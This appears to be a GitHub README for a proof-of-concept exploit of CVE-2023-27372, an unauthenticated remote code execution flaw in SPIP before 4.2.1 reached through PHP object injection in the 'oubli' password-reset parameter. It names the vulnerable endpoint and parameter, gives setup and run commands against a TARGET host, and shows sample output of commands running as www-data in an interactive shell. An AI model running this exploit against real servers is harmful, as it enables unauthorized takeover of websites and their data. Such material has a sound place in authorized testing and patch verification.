estebanzarate/cve-2023-27372-spip-4.2.1-unauthenticated-rce-pocProof-of-concept exploit for unauthenticated remote code execution in SPIP < 4.2.1 via PHP object injection in the password reset form. Provides interactive shell with CSRF token handling.
Unauthenticated remote code execution vulnerability in SPIP before 4.2.1. The
oubliparameter in the password reset form is vulnerable to PHP object injection due to mishandled deserialization. A crafted serialized payload is executed server-side as the web user, and the output is reflected back in the response inside theoubliinput field value.
/spip.php?page=spip_pass.oubli parameter.value attribute in the response.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
Example:
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data